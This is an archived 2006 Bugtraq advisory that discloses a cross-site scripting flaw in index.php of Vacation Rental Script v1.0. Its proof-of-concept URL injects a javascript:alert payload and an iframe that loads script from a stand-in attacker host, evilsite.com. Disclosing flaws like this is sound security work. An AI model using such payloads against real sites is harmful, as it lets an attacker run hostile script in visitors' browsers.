bugtraq - Vacation Retal Script v1.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 25 May 2006 09:25:43 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: Vacation Retal Script v1.0

Vacation Retal Script v1.0

Homepage:
http://www.vacationrentalscript.com/

Description:
Vacation Rentals is the best solution for your vacation rental online business. It’s easy to install, easy to use, provides lots of features and option details. Just check the online demo and convince yourself about how easy is to manage your business online.

Effected files:
index.php

XSS Vulnerabilities:

XSS attack possible from URL injection, proof of concept is below:
http://www.example.com/index.php?obj=<INPUT%20TYPE="IMAGE"%20SRC=javascript:alert('XSS');><iframe%20src=http://www.evilsite.com/code.js>

--------------------------------------------------

Luny - http://www.youfucktard.com